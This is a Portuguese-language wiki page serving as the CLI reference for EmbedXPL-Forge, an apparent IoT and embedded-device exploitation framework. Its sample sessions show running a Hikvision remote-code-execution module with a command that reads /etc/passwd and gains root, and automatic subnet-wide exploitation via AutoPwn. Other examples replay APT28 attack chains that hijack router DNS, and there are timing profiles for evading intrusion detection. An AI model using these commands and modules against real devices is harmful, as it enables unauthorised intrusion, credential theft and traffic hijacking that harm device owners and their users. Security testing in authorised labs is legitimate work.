-
Notifications
You must be signed in to change notification settings - Fork 7
Referencia CLI
André Henrique edited this page Jun 8, 2026
·
1 revision
Idioma: Português (pt-BR) | English: CLI-Reference
Referência completa de todos os comandos do shell interativo do EmbedXPL-Forge e opções globais.
Lista os módulos disponíveis, com filtragem opcional por tipo, vendor ou CVE.
Sintaxe:
show modules [type=<categoria>] [vendor=<vendor>] [cve=<cve_id>]
Parâmetros:
| Parâmetro | Valores | Descrição |
|---|---|---|
type |
exploits, scanners, creds, payloads, encoders, generic, osint
|
Filtra por categoria do módulo |
vendor |
dlink, hikvision, zte, etc. |
Filtra por nome do vendor |
cve |
CVE-2021-36260, 2026, etc. |
Filtra por ID de CVE ou ano |
Exemplos:
exf > show modules
Exploit Modules:
exploits/cameras/hikvision (22 módulos)
exploits/cameras/dahua (19 módulos)
exploits/routers/dlink (31 módulos)
exploits/routers/zte (12 módulos)
exploits/printers/hp (24 módulos)
exploits/firewalls/paloalto (8 módulos)
...
Total: 3000+ módulos em 114+ vendors
exf > show modules type=scanners
Scanner Modules:
scanners/autopwn
scanners/specialized/br_isp_scanner
scanners/cameras/rtsp_network_scan
scanners/printers/ipp_discovery
scanners/ics/modbus_scanner
exf > show modules vendor=hikvision
Hikvision Modules (22):
exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
exploits/cameras/hikvision/info_disclosure_cve_2017_7921
exploits/cameras/hikvision/snap_bypass_cve_2021_36260
...
exf > show modules cve=2026
2026 CVE Modules (31):
exploits/cameras/dlink/dcs_932l_light_sensor_rce_cve_2026_36983
exploits/routers/zte/zxhn_h298a_cred_dump_cve_2026_34474
exploits/printers/linux/cups_pwn2own_chain_cve_2026_34480
...
Seleciona um módulo para configuração e execução.
Sintaxe:
use <caminho_do_modulo>
Exemplos:
exf > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
exf (Hikvision RCE) >
exf > use creds/routers/multi_http_login
exf (Multi HTTP Login) >
exf > use scanners/autopwn
exf (AutoPwn) >
Exibe todas as opções configuráveis do módulo carregado atualmente.
Sintaxe:
show options
Saída de exemplo:
exf (Hikvision RCE) > show options
Module: Hikvision CVE-2021-36260 RCE
Name: Hikvision IP Camera Unauthenticated RCE
CVE: CVE-2021-36260
CVSS: 9.8 (Critical)
Author: EmbedXPL-Forge
Platform: Hikvision IP cameras, NVR (firmware < 2.2.15)
Options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes Endereço IP ou hostname do alvo
RPORT 80 yes Porta HTTP (80 ou 443 para HTTPS)
CMD id yes Comando OS a executar
TIMEOUT 10 no Tempo limite de conexão em segundos
HTTPS false no Usar HTTPS em vez de HTTP
PROXY no Proxy HTTP (ex.: 127.0.0.1:8080)
Configura uma opção do módulo.
Sintaxe:
set <OPCAO> <valor>
Exemplos:
exf (Hikvision RCE) > set RHOST 192.168.1.100
RHOST => 192.168.1.100
exf (Hikvision RCE) > set CMD "id; uname -a; cat /etc/passwd"
CMD => id; uname -a; cat /etc/passwd
exf (Hikvision RCE) > set TIMEOUT 15
TIMEOUT => 15
exf (Hikvision RCE) > set HTTPS true
HTTPS => true
Verifica se o alvo parece vulnerável antes de executar o exploit completo. Não é destrutivo - apenas sonda o alvo.
Sintaxe:
check
Exemplo:
exf (Hikvision RCE) > check
[*] Verificando 192.168.1.100:80 para CVE-2021-36260...
[*] Enviando requisição de sonda para /SDK/webLanguage
[+] HTTP 500 retornado - endpoint existe e processa requisições PUT
[+] Alvo parece vulnerável (Hikvision, CVE-2021-36260, CVSS 9.8)
exf (DSL2750B RCE) > check
[*] Verificando 192.168.1.1:80...
[-] Alvo retornou 403 - pode estar corrigido ou com versão de firmware diferente
[-] Alvo não parece vulnerável
Executa o módulo carregado atualmente contra o alvo configurado.
Sintaxe:
run
Exemplo:
exf (Hikvision RCE) > run
[*] Executando CVE-2021-36260 contra 192.168.1.100:80
[*] Enviando payload de exploit para /SDK/webLanguage
[+] Comando executado com sucesso
[+] Saída:
uid=0(root) gid=0(root) groups=0(root)
Linux HiCamera 3.10.0 #1 SMP armv7l
[+] RCE confirmado - alvo comprometido
[*] Dados de sessão salvos em ~/.exf_sessions/192.168.1.100
Descarrega o módulo atual e retorna ao prompt principal do shell.
Sintaxe:
back
Exemplo:
exf (Hikvision RCE) > back
exf >
Pesquisa em nomes de módulos, descrições, CVEs e tags de vendor.
Sintaxe:
search <palavra-chave>
Exemplos:
exf > search hikvision
[*] Pesquisando por: hikvision
Módulos encontrados (22):
exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
exploits/cameras/hikvision/info_disclosure_cve_2017_7921
exploits/cameras/hikvision/magicpack_auth_bypass_cve_2023_28808
exploits/cameras/hikvision/json_bypass_cve_2021_36260_variant
...
exf > search CVE-2026
[*] Pesquisando por: CVE-2026
Módulos encontrados (31):
exploits/cameras/dlink/dcs_932l_light_sensor_rce_cve_2026_36983
exploits/cameras/dlink/dcs_933l_admin_cmd_inject_cve_2026_2218
exploits/routers/zte/zxhn_h267n_h268n_dos_cve_2026_34473
exploits/routers/zte/zxhn_h298a_cred_dump_cve_2026_34474
exploits/printers/linux/cups_pwn2own_chain_cve_2026_34480
...
exf > search rce
[*] Pesquisando por: rce
Módulos encontrados (184):
exploits/routers/dlink/dir_300_600_rce
exploits/routers/dlink/dsl_2750b_rce
exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
exploits/cameras/dahua/cctv_rce_cve_2021_33044
...
Exibe metadados detalhados do módulo carregado atualmente.
Sintaxe:
info
Exemplo:
exf (Hikvision RCE) > info
Informações do Módulo:
Name: Hikvision IP Camera CVE-2021-36260 RCE
Path: exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
Version: 1.2.0
CVE: CVE-2021-36260
CVSS: 9.8 (Critical)
CWE: CWE-78 (OS Command Injection)
Vendor: Hikvision
Type: Remote Code Execution
Auth: Nenhuma exigida
Platform: Linux (ARM, MIPS)
Produtos Afetados:
Câmeras IP e NVRs Hikvision com firmware anterior ao build 210625
(centenas de modelos da série DS-2CD, série DS-7 NVR e OEMs)
Descrição:
Uma vulnerabilidade de injeção de comando OS no endpoint ISAPI /SDK/webLanguage
permite que atacantes não autenticados executem comandos arbitrários como root.
O endpoint processa entrada XML sem sanitizar o parâmetro lang.
Referências:
https://nvd.nist.gov/vuln/detail/CVE-2021-36260
https://www.hikvision.com/en/support/cybersecurity/security-advisory/
Gerencia o histórico persistente de varredura de hosts. As sessões registram módulos testados, descobertas e timestamps por host (identificados por SHA-256 de IP+MAC).
Sintaxe:
sessions list
sessions show <ip>
sessions delete <ip>
sessions export <ip>
sessions purge
Exemplos:
exf > sessions list
Sessões Ativas (3 hosts):
Host MAC Vendor Último Acesso Descobertas
---- --- ------ ------------- -----------
192.168.1.1 AA:BB:CC:DD:EE:FF Huawei 2026-06-01 14:22 2 vulnerabilidades
192.168.1.100 11:22:33:44:55:66 Hikvision 2026-06-01 14:35 1 vulnerabilidade
10.0.0.50 77:88:99:AA:BB:CC Kapsch 2026-06-01 15:00 0 (apenas avaliação)
exf > sessions show 192.168.1.100
Sessão: 192.168.1.100
MAC Address : 11:22:33:44:55:66
Vendor : Hikvision
Portas Abertas: 80, 443, 554, 37777
Primeiro Acesso : 2026-06-01 14:30:00
Última Atualização : 2026-06-01 14:35:22
Descobertas:
[+] CVE-2021-36260 (RCE, CVSS 9.8) - CONFIRMADO VULNERÁVEL
Módulo: exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
Timestamp: 2026-06-01 14:35:22
Saída: uid=0(root)
Testados (sem descoberta):
[-] CVE-2017-7921 (Auth Bypass) - não vulnerável (corrigido)
exf > sessions export 192.168.1.100
[*] Sessão exportada para: ~/.exf_sessions/192.168.1.100_20260601.json
Varre automaticamente uma sub-rede, identifica todos os hosts, seleciona módulos correspondentes e tenta exploração.
Sintaxe:
exf > use scanners/autopwn
exf (AutoPwn) > set target <ip_ou_cidr>
exf (AutoPwn) > run
Exemplo:
exf > use scanners/autopwn
exf (AutoPwn) > set target 192.168.1.0/24
exf (AutoPwn) > set TIMING T3
exf (AutoPwn) > run
[*] AutoPwn iniciando em 192.168.1.0/24 (T3 - normal)
[*] Fase 1/3: Descoberta de hosts (ARP + Nmap)...
[+] 192.168.1.1 Huawei 70:4E:6B:xx:xx portas: 80,8080,49652 - 11 módulos
[+] 192.168.1.100 Hikvision 11:22:33:xx:xx portas: 80,443,554 - 8 módulos
[+] 192.168.1.101 Dahua AA:BB:CC:xx:xx portas: 80,37777 - 7 módulos
[*] Fase 2/3: Correspondência de módulos concluída (26 módulos selecionados)
[*] Fase 3/3: Executando módulos...
[192.168.1.100] exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
[+] VULNERÁVEL - uid=0(root)
[192.168.1.101] exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044
[+] VULNERÁVEL - bypass de digest confirmado
AutoPwn concluído: 2/3 hosts comprometidos | 3 vulnerabilidades encontradas
Varre a rede local (ou uma sub-rede especificada) em busca de hosts ativos, identifica dispositivos e sugere módulos relevantes.
Sintaxe:
discover [<subnet_cidr>] [--timing T0-T5] [--fresh]
Exemplos:
exf > discover
[*] Detectando sub-rede automaticamente a partir das interfaces ativas...
[*] Varrendo 192.168.1.0/24 (T3 - normal)...
[+] 192.168.1.1 Huawei EG8145V5 portas: 80,49652 - 15 módulos disponíveis
[+] 192.168.1.5 D-Link DIR-615 portas: 80 - 3 módulos disponíveis
[+] 192.168.1.100 Hikvision DS-2CD2 portas: 80,554 - 8 módulos disponíveis
exf > discover 10.0.0.0/24 --timing T1
[*] Varrendo 10.0.0.0/24 (T1 - furtivo)...
exf > discover 192.168.1.0/24 --fresh
[*] Varredura nova - ignorando histórico de sessões anteriores
Perfis de tempo:
| Perfil | Atraso | Caso de uso |
|---|---|---|
| T0 | 300s (paranóico) | Evasão de IDS |
| T1 | 15s (furtivo) | Auditorias silenciosas |
| T2 | 2s (educado) | Impacto mínimo |
| T3 | 0,5s (normal) | Padrão |
| T4 | 0,1s (agressivo) | Varreduras rápidas em LAN |
| T5 | 0s (insano) | Apenas para CTF / laboratório |
Navegue e execute cadeias de ataque de grupos APT. As cadeias reproduzem sequências de ataque conhecidas de estado-nação com mapeamento MITRE ATT&CK.
Sintaxe:
apt list
apt show <nome_do_grupo>
apt search <palavra-chave>
apt run <nome_do_grupo> [indice_do_ataque]
Exemplos:
exf > apt list
Atores de Ameaça Catalogados (8 grupos):
Grupo | Origem | Alvos Principais | Módulos
----- | ------ | ---------------- | -------
APT28 | RU/GRU | TP-Link, MikroTik | 4 ataques
Volt Typhoon | CN | Fortinet, Cisco, SOHO | 6 ataques
Sandworm | RU/GRU | ICS/OT, GPON | 3 ataques
Quad7 | CN | Roteadores SOHO (BotNet)| 3 ataques
Turla | RU/FSB | Satélite, VSAT | 2 ataques
APT40 | CN/MSS | Marítimo, IoT | 4 ataques
Lazarus | KP | Financeiro, pivô IoT | 2 ataques
Hafnium | CN | Exchange, pivôs SOHO | 2 ataques
exf > apt show apt28
APT28 (Fancy Bear / GRU Unit 26165)
MITRE ATT&CK: https://attack.mitre.org/groups/G0007/
CVEs Conhecidas: CVE-2023-1389, CVE-2018-14847
Cadeias de Ataque:
[0] TP-Link Archer DNS Hijack (CVE-2023-1389)
[1] MikroTik Chimay Red (CVE-2018-14847)
[2] MikroTik RouterOS Credential Exfil
[3] Botnet de roteadores em massa - cadeia combinada
exf > apt run apt28 0
[*] Executando Cadeia de Ataque APT28 #0: TP-Link Archer DNS Hijack
[*] Passo 1/3: Explorar CVE-2023-1389 (bypass de autenticação via tmLanguage)...
[+] Autenticação contornada
[*] Passo 2/3: Injetar payload de DNS hijack...
[+] Servidor DNS sobrescrito: 8.8.8.8 -> 1.2.3.4
[*] Passo 3/3: Persistir configuração...
[+] Cadeia concluída - DNS do roteador sequestrado
Estas opções podem ser definidas no nível do shell e se aplicam a todos os módulos, salvo substituição.
| Opção | Padrão | Descrição |
|---|---|---|
LOGLEVEL |
info |
Verbosidade de log: debug, info, warn, error
|
TIMEOUT |
10 |
Tempo limite padrão de conexão (segundos) |
THREADS |
4 |
Threads concorrentes para varredura/força bruta |
PROXY |
(nenhum) | Proxy HTTP para todas as requisições (ex.: 127.0.0.1:8080) |
OUTPUT |
(nenhum) | Salvar todas as descobertas em arquivo (JSON ou TXT) |
SIMULATE |
false |
Modo de simulação - sonda sem executar ações destrutivas |
Definindo opções globais:
exf > set LOGLEVEL debug
LOGLEVEL => debug
exf > set TIMEOUT 20
TIMEOUT => 20
exf > set PROXY 127.0.0.1:8080
PROXY => 127.0.0.1:8080
exf > set OUTPUT /tmp/findings.json
OUTPUT => /tmp/findings.json
Execute módulos diretamente sem entrar no shell interativo.
Sintaxe:
embedxpl -m <caminho_do_modulo> -s <opcao> <valor> [-s <opcao> <valor> ...]Exemplos:
# Executar um módulo específico
embedxpl -m exploits/cameras/hikvision/rtsp_rce_cve_2021_36260 -s RHOST 192.168.1.100
# Descoberta de rede
embedxpl -c "discover 192.168.1.0/24"
# Varredura de câmeras RTSP
embedxpl -m exploits/cameras/multi/rtsp_cameradar_attack -s target 192.168.1.0/24
# AutoPwn em uma sub-rede
embedxpl -m scanners/autopwn -s target 192.168.1.0/24
# Exportar resultados para arquivo
embedxpl -m exploits/cameras/hikvision/rtsp_rce_cve_2021_36260 -s RHOST 192.168.1.100 -o results.jsonFlags disponíveis:
| Flag | Descrição |
|---|---|
-m <modulo> |
Caminho do módulo a executar |
-s <opcao> <valor> |
Define uma opção do módulo (repetível) |
-c "<comando>" |
Executa um comando do shell |
-o <arquivo> |
Exporta resultados para arquivo JSON |
--version |
Exibe versão e sai |
--list-modules |
Lista todos os caminhos de módulos e sai |
Home | Quick Start | Módulos de Exploit
André Henrique (@mrhenrike) | União Geek
Getting Started
Modules
Shell & Post-Exploitation
Tools & Infrastructure
- NSE-Script-Manager
- Firmware-Tools
- Discover-Command
- Sessions-Command
- APT-Catalog
- Sysinfo-and-Compute
- Infra-Wizard-Mode
- Catalogs-and-Tools
Reference
Comecar
Modulos
- Modulos-de-Credenciais
- Modulos-de-Exploit
- Modulos-Genericos
- AutoPwn-pt-BR
- Payloads-e-Encoders
- Modulos-Dispositivos-ISP
- Modulos-OSINT
Shell e Pos-Exploracao
Ferramentas e Infraestrutura
- Gerenciador-NSE
- Firmware-Tools
- Descoberta-de-Rede
- Gerenciamento-de-Sessoes
- APT-Catalog
- Sysinfo-and-Compute
- Infra-Wizard-Mode
- Catalogos-e-Ferramentas
Referencia